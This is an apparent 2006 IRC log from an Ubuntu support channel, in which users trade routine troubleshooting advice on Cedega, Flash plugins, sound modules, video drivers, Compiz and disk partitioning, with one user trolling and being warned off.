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jribuser01: have you been to !ati?02:26
Madm3rlinthats when i run cedega in terminal02:26
jribMadm3rlin: ask cedega support02:26
Madm3rlinis there a way to see if my agp drivers are installed properly?02:26
HanselMadm3rlin, try strace cedega02:27
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DRMacIverjrib: For what it's worth, there's a patch to java-package which makes it work. :) http://munckfish.net/blog/archive/2006/12/15/howto-packaging-java-6-for-ubuntu/02:27
compengineuratix, it's a share program like limewire02:27
user01jrib: yes i cant find my card listed02:27
DRMacIverjrib: THanks for the suggestion02:27
Hanselstrace = system trace = gives detailed info about what goes wrong with a process.02:27
Madm3rlink02:27
user01jrib: its on a thinkpad t4002:27
Madm3rlini just installed ubuntu on this ppc, and everything is working flawlessly02:27
biotrox!imho02:27
jribDRMacIver: cool, good to know02:27
ubotuSorry, I don't know anything about imho - try searching on http://bots.ubuntulinux.nl/factoids.cgi02:27
Madm3rlinhow can i tell if smp is enabled02:27
neuratixcompengi: i need something that may connect to a dchub and is not too confusing to use (like dcgui)02:27
Hanselbiotrox - IMHO = In my humble opinion02:27
jribuser01: I don't know anything about that specific card02:27
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CyfrMonkMadm3rlin: uname -a02:27
toulousehow do i check the partitions on my hd?02:28
Madm3rlinstrace gave a lot of info02:28
Hanseltoulouse - cat /etc/fstab02:28
Madm3rlinanything i can grep for02:28
toulouseokie dokes02:28
user01jrib: hmmm the problem is that when i play a dvd the lcd shows the movie and the monitor just shows black02:28
Hanseltoulouse - for more detail I'm sure fdisk can tell you everything... just be careful not to make changes to a mounted filesystem.02:28
Madm3rlinLinux Local 2.6.17-10-powerpc02:28
Madm3rlinnot smp02:28
toulousei just wanna see what partition im going to install another linux on02:28
user01jrib: but it shows the rest like gnome and everything02:28
CyfrMonkMadm3rlin: doesn't look like SMP02:28
rogue780Is there a way to copy the clipboard from windows (client) to linux (server) using VNC?02:29
biotrox!mailstripper02:29
ubotuSorry, I don't know anything about mailstripper - try searching on http://bots.ubuntulinux.nl/factoids.cgi02:29
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Hanseltoulouse - fdisk will have that answer on free space...02:29
toulouseok02:29
qoscan somebody tell me how to find out which charset my filesystems uses?02:29
Back|Trackuser01 i know in windows yu hav to change default video to TV02:29
biotroxanyone uses mailstripper in ubuntu..?02:29
Back|Trackmyabe linux has something simm02:29
CyfrMonkMadm3rlin: mine says "Linux supernode 2.6.17-10-generic #2 SMP Tue Dec 5 22:28:26 UTC 2006 i686 GNU/Linux"02:29
Hanselqos - never heard of that being important to know... whats the reasoning behind the inquiry?02:29
Back|Trackget all yur divx codes too02:29
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CyfrMonkMadm3rlin: that with a AMD64 dual-core02:30
toulouseHansel: i want to see free space with fdisk, what do i do man?02:30
Madm3rlinis there a channel to dump a large amt of text to02:30
Hanselqos - I'm sure if you google it will tell you what filesystem types use what charset02:30
gyaresutoulouse, 'sudo fdisk -l'02:30
user01Back|Track: its not a tv though its a monitor02:30
toulouseok02:30
HanselMadm3rlin,  www.pastebin.com02:30
FlannelMadm3rlin: for powerPC you need to install the -smp kernel, linux-powerpc-smp02:30
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Oni-Draculaanyone have experience with USB sound cards...as in the ones that come with headsets? I'm having trouble getting it re-detected02:30
Bluedogtrying to use gnome phone manager to bluetooth my phone02:31
FalstiusOni-Dracula: redetected?02:31
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HanselOni-Dracula, lsmod will show you drivers that are loaded... insmod drivername    to have it try to detect hardware that can use the driver02:31
Bluedogthing is , my phone wants a password02:31
Back|Trackwhich video card to yu hav02:31
Bluedogcant put one into gnome phone manager02:31
qosHansel, want to set the right setting in my smb.conf. It nessassary to display all signs correctly02:31
Bluedogany ideas?02:31
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HanselOni-Dracula, if you cat /var/log/messages it will probably have the answer to what was previously loaded.. good luck searching02:31
toulouseOni-Dracula: once i got mine configured, it messed up my computer's sound, so i had no sound for like a week02:31
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gyaresuHansel, modprobe not insmod02:31
nuked_omenBluedog, try hcitool scan02:31
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Bluedogyup that works, i used to that to get my phones address02:31
nuked_omenthen hcitool cc address.of.phone02:31
CyfrMonkHas anyone else had trouble with the latest xorg drivers breaking OpenGL? I'm using nvidia binary drivers (from envy)02:31
Hanseldoh, correct!  :)02:31
Bluedogput that into gnome phone manager as it didnt find it itself02:31
Bluedogta02:32
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nuked_omenthen gnome-obex-send filename02:32
HanselI've been installing new modules...02:32
Oni-DraculaFalstius, I had it functioning somewhat when I first had it connected, then I disconnected physically...now when I put it back in it's not being picked back up02:32
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Oni-Draculait kind of messed up amarok02:32
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Bluedoghmm02:32
BluedogPhone manager does extra stuff, but I cant give it a password number..02:32
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Madm3rlinwhat is the config file to edit my resolution02:32
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Bluedogit connects to the phone, but i can only put a number into the phone, not linux02:32
hakrzcodeCyfrMonk, when you do an update of Xorg, you should reinstall your nvidia drivers, it will mess up your libraries, and cause x to crash with opengl apps.02:32
FalstiusOni-Dracula: you probably can just load and unload the driver (rmmod <driver>, modprobe <driver>).  Use lsmod to list them and guess which one it is.02:32
Oni-Draculakk02:33
bulmerMadm3rlin:  /etc/X11/xorg.conf02:33
Madm3rlinhansel: http://pastebin.com/85726502:33
FalstiusOni-Dracula: what's the name of the device?02:33
phixnayhey does anyone know how to speed up boot time?02:33
CyfrMonkhakrzcode: I reinstalled binary nvidia drivers, but opengl is still broken (crashes X)02:33
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Hanselphixnay - linuxbios ... like I said before.  For that bootchart thingy read their website  :)02:33
nuked_omenBluedog, did you try gnome-obex-send?02:34
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HanselMadm3rlin, looking...02:34
phixnaykk what is linuxbios and does it support dual booting?02:34
Madm3rlindoes cedega have a conf file which needs to be edited02:34
Jedrick-everytime i run sudo apt-get update i receive an error.. it's about the non free packages. why is that?02:34
CyfrMonkhakrzcode: this happend after I installed the patches today (think they came out yesterday)02:34
gyaresuphixnay, stop services running in your runlevel that are unecessary.02:34
hakrzcodeI remember from when I used nvidia, that there was the problem with the tls library. It was incorrectly linked. Do not remember the name exactly. I am now in ATI, so I have a whole different set of problems.02:34
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gyaresuCyfrMonk, pastebin the Xorg errors02:34
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Madm3rlinhrm02:34
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hakrzcodeCyfrMonk, yes, this happened with me, usually after an X update, when I used Nvidia.02:35
Madm3rlinhow can i tell if my video card is installed correctly02:35
Bluedogissue is my phone gets the connection, but insists on using a passcode02:35
nuked_omen!afaik02:35
phixnaygyaresu: how do I find out what services are in my runlevel?02:35
gyaresuJedrick-, pastebin your errors02:35
Bluedogdont know how to put ths into linux02:35
ubotuSorry, I don't know anything about afaik - try searching on http://bots.ubuntulinux.nl/factoids.cgi02:35
HanselMadm3rlin, I recommend you google for the following...........          cedega invalid literal for float():02:35
Oni-DraculaFalstius, snd-usb-audio is "in use"02:35
Madm3rlink thx02:35
HanselIt has tons of results..02:35
FalstiusOni-Dracula: is one of the other modules using it?02:35
Back|Trackhow about setting up a fake AP with a fake web page02:35
nuked_omenBluedog, i see02:35
Jedrick-gyaresu, where? don't know how. im just new here02:35
nuked_omenBluedog, switch phones02:35
nuked_omen:P02:35
Oni-DraculaFalstius, yes...do I have to rmmod those first?02:36
gyaresu!pastebin > Jedrick-02:36
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Bluedoglol02:36
gyaresuphixnay, 'runlevel'02:36
Madm3rlin cedega invalid literal for float(): doesnt bring back much02:36
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FalstiusOni-Dracula: yeah02:36
gyaresuphixnay, 'ls /etc/rc2.d/'02:36
phixnaygyaresu - that gives N 202:36
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paradoxxanyone here running ubuntu using xen?02:37
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gyaresuphixnay, all the 'S' ones are active, all the 'K' ones aren't02:37
riotkittie1odd02:37
nuked_omenBluedog, what phone is it?02:37
riotkittieerr02:37
nuked_omenso that i make sure i don't buy it :P02:37
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phixnayI only see S ones02:37
Jedrick-gyaresu, here http://paste.ubuntu-nl.org/1253/02:37
knifeI cannot seem to edi tmy gnome menus properly. I want to add an additional menu next to the "programs,plces,system main menus. But everytime I triy to add one, it just creates it as a submenu of program. Any idea how ot add just a menu or do I have to do it the text way?02:37
phixnaykk I see ones I probably don't need like bluetooth02:37
NkZGood nite again guys: Is there a way to watch videos from a browser besides Totem? If I blow it and replace it with VLC it's all okay?02:38
HanselNkZ - mplayer, Totem, VLC...02:38
dmnkz mp4s have trouble with VLC02:38
HanselI use mplayer...02:38
dmmplayer is buggy IMO02:38
nuked_omenNkZ, i highly recomend mplayer for playing videos02:38
gyaresuphixnay, Hey, I just found 'serviceconfig'. cool.02:38
dmvlc is great but fullscreen mode get annoying, no plotter02:38
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phixnaycool what does it do?02:39
Jedrick-anyone can help me? i got this error when trying to do "sudo apt-get update"  --> http://paste.ubuntu-nl.org/1253/02:39
neuratixis there a special way of treating source tarballs in debian/ubuntu? making a deb out of it or something?02:39
Hanseldm - agreed on the VLC fullscreen.  :(02:39
Jramat least mplayer is better than totem02:39
nuked_omenmplayer works so great that i use it even on winders02:39
Oni-DraculaFalstius, kay...it seems that everything is depending on everyone else so I can't rmmod anything related to snd-usb-audio02:39
Hansellol nuked_omen02:39
user01jrib: hmmm cant get vlc mozilla plugin to work02:39
jribnuked_omen: if you want to, you can02:39
NkZIMO WMP is better than Totem. And that's a harsh insult. :-P02:39
gyaresuJedrick-, your sources.list is using repos that don't exist.02:39
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gyaresu!repos > Jedrick-02:39
guilleri need help compiz!!! please.... my english is bad but i need help....!!02:39
user01jrib: says no video02:39
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Hansel!compiz02:39
ubotuCompiz (compositing window manager) and XGL (X server architecture layered on top of OpenGL) - Howto at http://help.ubuntu.com/community/CompositeManager - Help in #ubuntu-xgl - See http://tinyurl.com/pw5ez for Kubuntu systems02:39
nuked_omenjrib, if i want what?02:39
dmhansel i thought that was retarded... Totem crashes on me alot.. VLC never crashes, just that one thing, then it would be perfect02:40
neuratixis there a special way of treating source tarballs in debian/ubuntu? making a deb out of it or something?02:40
jribnuked_omen: oops, wrong name.  Sorry02:40
nuked_omenguiller, your english has nothing to do with how to run compiz02:40
jribneuratix: if you want to, you can02:40
nuked_omenjrib, no problem02:40
Jedrick-gyaresu, what should i do then?02:40
HanselVLC is very sexy, I will agree.02:40
neuratixjrib: are there (easy) tools to do so? is there any advantage of first making a deb out of it?02:40
NkZThat makes it: I will blow Totem and get VLC. -)02:41
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jrib!checkinstall | neuratix02:41
gyaresuJedrick-, did you see the repo link? You must have edited your sources.list in the first place.02:41
ubotuneuratix: checkinstall is a wrapper to "make install", useful for installing programs you compiled. It will create a .deb package, which will be listed in the APT database and can be uninstalled like other packages. See https://help.ubuntu.com/community/CheckInstall - Read the warnings at the top and bottom of that web page, and DO NOT interrupt CheckInstall while it's running!02:41
Hanselneuratix,  yes... you can create a .deb out of a source .tar.gz.... I recommend just compiling from source though.02:41
jribneuratix: advantage is you can easily uninstall what you install02:41
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neuratixokay02:41
neuratixthanks for help =)02:41
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Hanselits the difference between an    apt-get autoremove and a     make uninstall02:41
guillernuked_omen, you use compiz?02:42
HanselI will agree that using apt-get to manage ALL installations is nice... but if you took the time to download the source cause no pkg existed I just always compile.02:42
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jribHansel: only if the author decides to include a rule for uninstall which isn't always the case though02:42
nuked_omenguiller, yes once02:42
Jedrick-i already did.. im trying to upgrade to dapper so i edit the source list but i got those error02:42
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Hanseljrib - never come across a time when they didnt...02:42
CyfrMonkgyaresu: been digging through Xorg.0.log but no errors to speak of - except an error reading /usr/lib/xserver/SecurityPolicy02:42
NkZThanks for the VLC advice guys. :-)02:43
gyaresuHansel, jrib No uninstall >> often. Very annoying. (but checkinstall can also not work)02:43
user01jrib: did i have to do something in mozilla when i uninstalled totem plugin and installed the vlc plugin?02:43
HanselNkZ - that will be $10, thankyou, drive thru.02:43
nuked_omenguiller, i just followed a guide, it's not that hard02:43
guillernuked_omen, i instaled drivers nvidia 1.0-9625 and compiz my SO is ubuntu 6.10 edgy my hardware is gf 6800 xt02:43
nuked_omentry the one the other guy posted02:43
nuked_omenguiller, it will run compiz, just follow the instructions02:43
gyaresuCyfrMonk, some log files would help. I'm not psychic...  :)02:44
Hansel!compiz > guiller02:44
hakrzcodeCyfrMonk, look in your ~/.xsession-errors02:44
guiller!compiz02:44
ubotuCompiz (compositing window manager) and XGL (X server architecture layered on top of OpenGL) - Howto at http://help.ubuntu.com/community/CompositeManager - Help in #ubuntu-xgl - See http://tinyurl.com/pw5ez for Kubuntu systems02:44
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gyaresuhakrzcode, that's a god idea.02:44
phixnayis this a valid line for Grub?02:44
phixnaykernel/boot/vmlinuz-2.6.17-10-generic root=/dev/sda2 ro quiet splash boot: noapic no1apic init=/sbin/bootchartd02:44
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jribuser01: restart the browser02:45
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gyaresuhakrzcode, *good. (thanks)02:45
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Bluedogim having some problems getting flash onto firefox202:45
Bluedogthe auto install fails :S02:45
jrib!flash | Bluedog02:45
ubotuBluedog: For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also http://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats02:45
hakrzcodegyaresu, no problem. Xorg.0.log is only problems with Xorg starting, not apps after start.02:45
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user01jrib: yeah i did it says no video02:45
nuked_omenBluedog, download and install the installer02:45
BluedogI followed the instructions in the top links..02:45
Bluedoglink*02:45
Bluedogso dont do it via synaptic?02:46
HanselBluedog,  - use the freeformats one... last link.02:46
Flannelphixnay: all grub sees is the kernel [path to kernel]  [options] , whereh [options]  are passed to the kernel itself.  So yes, that's valid for grub, no it may not be valid for the kernel.02:46
Bluedogta02:46
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phixnayFlannel: ok. I'll try it, and if not, I still have the one that works02:46
user01jrib: do i need to assign vlc plugin somewhere?02:46
jribuser01: and does about:plugins say vlc is being used now?  And does the player now look different than the totem one?02:46
HanselBluedog - I believe apt-get install flashplugin-nonfree     will fix it...02:47
HanselI'm pretty sure thats the one I got.02:47
nuked_omenBluedog, i did what i just said and it worked find02:47
nuked_omenfine02:47
Bluedogcool ok02:47
BluedogHansel: i did that and it didnt install right02:47
hakrzcodeuser01: you can type about:plugins, into any mozilla based browser, to see plugin information.02:47
Bluedogunpacked fine, but didnt work in firefox02:47
Bluedogooh02:47
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nuked_omengotta go hit the sack02:47
lupine_85hmm, qemu accessing an LVM partition is pretty slow.. anyone know why? :)02:47
jribHansel: did you restart the browser?02:47
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Hanseljrib - yup...02:48
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jribHansel: apt-cache policy flashplugin-nonfree | grep -i Installed02:48
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Hanseljrib - I did apt-cache search  :)02:48
user01jrib: being used now?  it states it is installed02:48
NkZWhen using my HDB for storage, like, for example downloads, It will give me an error when trying to download things there. Says "Error making directory" in the case of Torrents. What can I do to solve that?02:48
jribHansel: this command is different02:48
Bluedogwhich one did you use nuked_omen ?02:49
Bluedoggnash?02:49
jribHansel: bah, wrong person02:49
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nuked_omenBluedog, for flash?02:49
Hanselhah...02:49
Bluedogyeah02:49
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jribBluedog: apt-cache policy flashplugin-nonfree | grep -i Installed02:49
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user01hakrzcode: it says no video when i open up page with mov file02:49
SqueeWireless Problems:  I have an intel 3945, and it is not working.  The driver is loaded, but the light on the laptop is not on...  Someone suggested I try to restart the pci devices and have it reload the drivers... does anyone know that command for a pci-X bus?02:49
jribBluedog: oh and did you restart the browser?02:50
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HanselSquee - did you disable it hardware-wise... some laptops have a button you can move to turn wireless on and off.02:50
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user01hakrzcode: mov,qt support installed...and it will play if i download the file02:50
Bluedogapt get does this:02:50
BluedogSetting up flashplugin-nonfree (7.0.68~ubuntu3) ...02:50
BluedogDownloading...  done.02:50
Bluedogautomatic installation failed due to network problems or upstream changes02:50
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Bluedogyeah I did :)02:50
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rexbron_hello02:50
HanselBluedog - apt-get update then try02:50
black_abaddoni have a computer! hehe02:50
nuked_omenBluedog, umm, you might wanna restart the X server, i installed a plugin once and it didn't work till i restarted X02:50
jribBluedog: what version of ubuntu?02:50
rexbron_how can I install ubuntu on a system with 3 primary partitions02:50
hakrzcodeuser01, the kaffeine plugin works best for all types of video.02:50
Bluedogedgy02:51
nuked_omenBluedog, http://www.adobe.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash&P2_Platform=Linux&P3_Browser_Version=Netscape402:51
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SqueeHansel: I cannot use that button in linux, it says in dmesg "atkbd.c: Unknown key pressed (translated set 2, code 0x88 on isa0060/serio0)."02:51
NkZWhen using my HDB for storage, like, for example downloads, It will give me an error when trying to download things there. Says "Error making directory" (Like I am restricted not to use it) in the case of Torrents. What can I do to solve that?02:51
jribBluedog: use edgy-backports and install flash 9 instead (same package name)02:51
Lam_what the heck is happening to my system? my secondary drive was corrupted, and when i managed to reactive the drive with fsck -f -c to reallocate the bad sectors to retreive the data, the data was trasnferring to my main drive when that drive started saying it has bad sectors when i scanned it no less than a week ago and it was perfectly fine02:51
Bluedogthe apt-cache command says its installed, bit firefox argues02:51
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hakrzcodeotherwise, you have to download the movs. @user0102:51
Bluedogjrib - how do I do that?02:51
SqueeHansel: It works perfectly in windows02:51
black_abaddondoes anyone here has a computer?02:51
oidian o02:51
jrib!backports | Bluedog02:51
ubotuBluedog: If new updated Ubuntu packages are built for an application, then they go into Ubuntu Backports. See https://help.ubuntu.com/community/UbuntuBackports02:51
HanselSquee - Linux might not play well with it... you may need to change something in BIOS... :(02:51
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black_abaddonwhy not02:51
Bluedogthanks :)02:52
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itanshihello, i am looking for something comparable to window maker for edgy eft. window maker itself is hard to find and windowmaker.org is dead so i need help x_x02:52
oidiablack_abaddon: computers are evil02:52
user01hakrzcode: it was just working though with totem...02:52
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SqueeHansel: It works for a while... but then just shuts off.  I've formatted once to try to clear this problem.  the livecd works perfectly as well.... usually intel is pretty good for this stuff02:52
Hanselitanshi, if you want something BASIC then blackbox is a good choice.02:52
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hakrzcodeuser01, yes, it is sometimes hit and miss with the videos.02:52
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black_abaddonif you dont have a computer how come you are on ubuntu? and my iq is 12502:53
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itanshiI'll try it, just looking for some way to have many desktop backgrounds02:53
mafuDoes anyone have a good guess on where under /dev an internal card reader can be found?02:53
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Madm3rlinsudo apt-get install linux-restricted-modules-<your-kernel-version> xorg-driver-fglrx02:53
toulousehey guys im trying to install another linux, but i dont know what to do about the swap-do i need to make another for the other linux?02:53
Hanselmafu - /dev/sda02:53
user01hakrzcode: so basically the vlc mozilla plugin is worthless?02:53
ikookinope02:53
Madm3rlin2.6.17-10-powerpc  goes where <your kernel here> ?02:53
SqueeMadm3rlin: No, linux-swap is for all distros i know of02:54
ikookidev02:54
mafuHansel, that's my harddrive. I tried sdb, no luck02:54
ikookimmcblk02:54
hakrzcodeuser01, unfortunately, it is.02:54
toulouseoh ok02:54
toulousehmmm.02:54
CyfrMonkhakrzcode: you the one that told me to post my xsession-errors to pastebin? I crashed X and didn't have logging on ...02:54
SqueeMadm3rlin: wrong person02:54
Madm3rlinlol02:54
Hanselmafu - sda?02:54
Hanselit's usually an sd...02:54
Squeetoulouse: Linux swap should work just fine02:54
Madm3rlinbut yeah what goes where your kernel version here02:54
Madm3rlinthe whole thing in uname or just 2.6.17.1002:54
toulousethe graphical partitioning tool also tells me (on the live cd) that my hard drive is full--this is not the case, any suggestions02:54
hakrzcodeCyfrMonk, it crashed before logging in?02:54
crimsunuser01: it's fixed in feisty's.02:54
mafuHansel, I'll try a few more. :)02:54
black_abaddonif a computer is bigger does that mean that it is better to?02:54
Hanselmafu - try sda, sga, etc02:54
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jameshow do i use frost on freenet?02:55
CyfrMonkno - my screen saver activated - it is an opengl screen saver - so X died...02:55
user01crimsun: thats the next release?02:55
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BluedogIf I add backports, how can I tell if a package im looking at is from backports, or the tested repositoriees?02:55
crimsunuser01: in late april.02:55
Hanselblack_abaddon, size only matters in bed... you can have a 486 running in a massive box... doesn't make it "better"02:55
HanselBluedog - you try to apt-get install  :P02:56
black_abaddonreally02:56
Madm3rlinanyone02:56
hakrzcodeCyfrMonk, if you can switch to Console, before you log back in, then copy the .xsession-errors to another file, then log in, then it will be better. .xsession-errors gets rewritten everytime you log in.02:56
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BluedogI'd obv. rather install the old packages unless I need to install the untested ones, how can I tell what I'm getting? :)02:56
black_abaddonwow you are smarter than me.damn02:56
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Hanselblack_abaddon, old mainframes used to take up entire rooms... compared to your desktop those are considered slow.  :)02:56
Hanselblack_abaddon, pretty much.02:56
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CyfrMonkhakrzcode: yea - I realized that so I did just that - the file is at http://pastebin.com/85727402:56
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user01crimsun: ok i need to learn how to program i feel like a worthless end user that finds bugs02:57
cappizsomeone knows how i can get a "toolbar" like OSX with "jumping" icons etc02:57
Madm3rlinhow  fast should glxgears be going if my vid card is set up correctly02:57
Hanselcappiz - install enlightenment dr1702:57
black_abaddoni am here to give you gays some fun02:57
itanshiOo02:57
cappizlike at http://www.gnome-look.org/content/files/48403-topaz.jpg02:57
black_abaddonlove&peace02:57
cappizdoes that work with beryl?02:57
CyfrMonkhakrzcode: I also diff'd my xorg.conf against the backup copy that was made before the xorg patch today and it shows no differences02:57
Hanselblack_abaddon, trolling is a very admirable trait.02:57
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Madm3rlinanyone :ol02:57
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hakrzcodeCyfrMonk, pastbin.com, does not like me for some reason, please use http://paste.ubuntu-nl.org/02:58
mafuHansel: still no luck, tried all sorts of hda, hdb, sda, sdb, sdc, sga .. Any more?02:58
Bluedoghmm I feel stupid.. cant figure out how to add it, edgy doesnt match the guide on the backports link02:58
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black_abaddonmy english is not so gut i dont know what trolling means02:58
Hanselmafu - have you ever had it mounted before?02:58
hakrzcodeCyfrMonk, yes, Xorg.log is only for the startup of X.02:58
user01hakrzcode: kaffeine requires kde libraries?02:58
black_abaddonand i listen to in flames02:58
cappizHansel, does it work with beryl=02:58
cappiz?02:58
Hansel/var/log/messages and search around for the module being loaded/unloaded in there...02:58
Bluedogignore me, found the checkbox for backports :)02:58
mafuHansel: I'm on xubuntu now.. My old kubuntu installation found it automagically.02:59
Hanselcappiz - I imagine so.02:59
cappizk02:59
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mafuHansel: the cardreader is listed under lspci, so it's found02:59
hakrzcodeblack_abaddon, in our german childrens stories, there is a troll that lives under the bridge. he is really nasty. Basically a troll is someone that is in the room, trying to start a fight. trolling, is the act of being a troll.02:59
CyfrMonkhakrzcode: I think the error line is: Vte-WARNING **: No handler for control sequence `device-control-string' defined.02:59
CyfrMonkhakrzcode: everything else looks "normal"02:59
hakrzcodeuser01, yes, but worth it.02:59
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Madm3rlincan anyone help03:00
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hakrzcodeok, CyfrMonk. Looking.03:00
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knoppix_help with what03:00
admin_Hello, I'm trying to use the make command, it gives me this error in return: admin@UBUNTUboxx:~/osx/baghira$ make -f Makefile.cvs03:00
Madm3rlinseeing if my video card is set up properly03:00
admin_This Makefile is only for the CVS repository03:00
admin_This will be deleted before making the distribution03:00
admin_make[1] : admin/Makefile.common: No such file or directory03:00
Madm3rlindude03:00
Madm3rlindont spam03:00
admin_make[1] : *** No rule to make target `admin/Makefile.common'.  Stop.03:00
Madm3rlin.03:00
admin_make: *** [all]  Error 203:00
Bluedogjrib: thanks, backported one worked :D03:00
Bluedoggood man03:00
admin_Sorry03:00
CyfrMonkhakrzcode: http://paste.ubuntu-nl.org/1254/    man that site is faster ... they must run on ubuntu ;)03:01
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black_abaddonhakrzcode: i am not trying to start a fight, this room is just more interesting to me.and how can i know about that german story i am from croatia and i dont read german writers03:01
Hanseladmin_, just make ... no need to pass the -f03:01
knoppix_does everyone here use ubuntu03:01
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admin_oh ok, cause sire said that :P03:01
Hanselknoppix_, most likely... why do you ask?03:01
admin_thanks Hansel , i'll try it03:01
CyfrMonkhakrzcode: the "bad device errors" near the middle are because I don't have my wacom plugged in - they happen all the time03:01
Madm3rlinso how can i see if my video card is installed correctly03:01
Bluedogwe hate ubuntu here, please dont mention it03:01
knoppix_just wondering03:01
user01i dont understand xubuntu, kunbuntu etc . . . cant you just install whatever desktop on watever one ur using?03:02
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Hanseluser01, yeah.  :)03:02
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mafuHansel: I think I've run out of ideas for tonight. Maybe 3am is the magic time to go to bed. Thanks.03:02
Hanseluser01 - if you apt-get install gnome, kde, and xfce you have kxubuntu  :)03:02
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Alakazamz0rtop - 18:17:56 up 292 days, 22:15,  3 users,  load average: 1.25, 1.38, 1.6503:02
Hanselmafu - probably ...hah03:02
knoppix_does anyone here use knoppix?03:02
Alakazamz0rMAN!03:02
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Alakazamz0rwhos l33t03:02
Hanselknoppix_, try #knoppix...03:02
Alakazamz0rknoppix is outdated.03:02
user01Hansel: ok i just wanted to make sure i wasnt going crazy...03:02
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knoppix_what do you guys recommend for distros03:03
Madm3rlin hello03:03
Madm3rlin:o03:03
Bluedogwindows vista03:03
Alakazamz0rknoppix_,  ubuntu03:03
Hansel19:03:04 up 2982 days,  1:38,  2 users,  load average: 0.01, 0.04, 0.0403:03
Jramknoppix_ try Ubuntu03:03
Alakazamz0rwindows 98se03:03
knoppix_ive tried ubuntu but what else03:03
Madm3rlinsigh03:03
user01Hansel: they should just call it ubuntu and then choose your flavor03:03
hakrzcodeblack_abaddon. I am not saying you are starting a fight. In USA, we grew up on Brothers Grimm, a german storyteller. This is where the reference to trolling comes from.03:03
biotroxkubuntu03:03
mgardnerhey everyone, I've been playing with Beryl, got it working for awhile, now its all wonky.  It seems to crash when I load emerald, I just got a newer gfx card, could this be the problem?03:03
biotroxedubuntu03:03
Hanselknoppix_, it all depends on your preferences... asking what we recommend is just going to get you lots of random opinions.03:03
biotroxxbuntu03:04
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biotroxtry those03:04
thisheregiraffeknoppix_: dreamlinux 2.2 was sorta nice.  try their livecd?03:04
hakrzcodeCyfrMonk, I am looking on Nvidia linux forum.03:04
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knoppix_i dont really have any prefernces .. just something diffenrent from win XP03:04
Hanselknoppix_, I personally like slackware, ubuntu, redhat, gentoo, and of the BSDs I prefer Free over Open, DragonFly and Net...03:04
black_abaddonyes but i am not from usa and i grew up on hunter s thomson03:04
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black_abaddonhe is amazing03:05
black_abaddontoo bad he killed himself03:05
Madm3rlinuser@Local:~$ glxinfo | grep render03:05
Madm3rlindirect rendering: No03:05
Madm3rlinOpenGL renderer string: Mesa GLX Indirect03:05
riotkittieslack <303:05
Hanselblack_abaddon, your trolling is getting annoying.  Ready for a /kick or a /kline or take the easy way and /part?03:05
QRZ`Hi03:05
cokeslutsup03:05
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CyfrMonkhakrzcode: I can dig around - couldn't find anything about it on ubuntuforums so thought I'd jump on and see if anyone here had the problem03:05
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Madm3rlinblack dont fuck with the irc op03:06
hakrzcodeCyfrMonk, no problem.03:06
Trigger242Can someone explain to me what's wrong with my ktorrent? My mates running it and getting AWESOME down speed. I'm running it and getting crap. And my ports are even forwarded.03:06
CyfrMonkhakrzcode: it only started after todays xorg patch03:06
mgardnerdoes anyone know if edgy and the current nvidia binaries in the repository cause problems with a 6600?03:06
black_abaddoncan i just talk about ubutu insted03:06
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Madm3rlinso yeah03:06
black_abaddonsorry for "trolling"03:06
Madm3rlinis anyone here familiar with cedega03:06
Madm3rlin#cedega is dead03:06
factboy818181um, does anyone know why the lexmark 5270 has problems printing with the lexmark 5200 printer?03:06
CyfrMonkMadm3rlin: just discontinued my subscription yesterday03:06
jribMadm3rlin: you paid for support, use it03:07
Hanseltry #wine... dont tell them you are using cedega... they might have similar errors03:07
Madm3rlinwhat03:07
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riotkittieheh03:07
black_abaddonMadm3rlin: elaborate03:07
CyfrMonkMadm3rlin: I had to use cedga support just to try to get my subscription turned off ...03:07
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NkZGreetings guys once again. I restarted my PC and now I can't play any kind of sound.03:07
Madm3rlinhttp://pastebin.com/85726503:08
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HanselNkZ - lsmod03:08
Madm3rlinif anyone knows why cedega is doing this it would be helpfull03:08
HanselNkZ - look for the "word"  snd03:08
riotkittiedoing what?03:08
Madm3rlinerr not launching03:08
Madm3rlinthe pastebin has the error msg03:08
Madm3rlinhttp://pastebin.com/85726503:08
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NkZsnd                    58372  8 snd_intel8x0,snd_ac97_codec,snd_pcm_oss,snd_mixe03:09
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hakrzcodeMadm3rlin, please make use of http://paste.ubuntu-nl.org/ , pastbin.com is not so friendly to some people today.03:09
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Madm3rlinarg k03:10
HanselNkZ - you probably just need to turn the volume up... alsamixer03:10
black_abaddonMadm3rlin: codega alows you to run windows games on your linux03:10
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Madm3rlindude03:10
Madm3rlinare you trolling03:10
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HanselMadm3rlin,  yes.. he is.03:10
Madm3rlinomg03:10
Madm3rlinworst troll ever03:10
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NkZWill try03:10
hakrzcode!ops03:10
ubotuHelp! Mez, LjL, elkbuntu, imbrandon, DBO, gnomefreak, Hobbsee, rob, ompaul, Madpilot, Burgundavia, Seveas, CarlK, crimsun, ajmitch, tritium, Nalioth, thoreauputic, apokryphos or tonyyarusso03:10
Hanseltime for the kline...03:11
Madm3rlingline03:11
Madm3rlinrofl03:11
Hanselserious03:11
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CyfrMonkMadm3rlin: looks like cedga is having trouble because it is measuring your CPU speed and coming up with 999.x MHz when it is expect GHz03:11
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hakrzcodeops, time for black_abaddon, to go to sleep...03:11
NkZEhh.... Sound plug was off....03:11
black_abaddonmen it sais on net that codega helps you run your window gaames03:11
Madm3rlincedega supports ppc ,right?03:11
NkZSorry for the stupid issue. ^_^03:11
black_abaddonplease dont kick me yet03:11
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Hanselblack_abaddon, obviously... he wouldn't download it and be trying to run it for giggles if you he had no idea what it was.03:11
CyfrMonkMadm3rlin: when it tries to interpret 999.x as GHz it seems impossibly fast ?03:11
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Madm3rlinso is there a config file to edit03:12
Madm3rlinerr03:12
Madm3rlinor am i fuxed03:12
black_abaddonwell i am yist trying to help03:12
NkZThanks guys!03:12
Madm3rlinyou can help by /quit03:12
Hanselblack_abaddon, no you aren't.  You are trolling and have been trolling for over 20 mins now.03:12
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black_abaddondamn03:13
NkZOh, last Question! I heard that Beryl has Issues With Cedega: How can I solve those Issues?03:13
noodles12Under powersaving modes in in ubuntu, the lowest clock speed is 996 mhz. Using NHC in windows the lowest i could clock it to was 690mhz. Why can't i get that low in Ubuntu? ( i have a duo core t2400)03:13
black_abaddoni ll stop typing and yust read03:13
CyfrMonkMadm3rlin: the FAQ for cedga says it does not work on PPC03:13
Madm3rlinugh03:13
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Madm3rlinsigh03:13
Lam_how do i copy stoff to a samba share via terminal?03:13
Madm3rlinso thats that =\03:13
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HanselLam_, man cp03:13
diederickhi all03:14
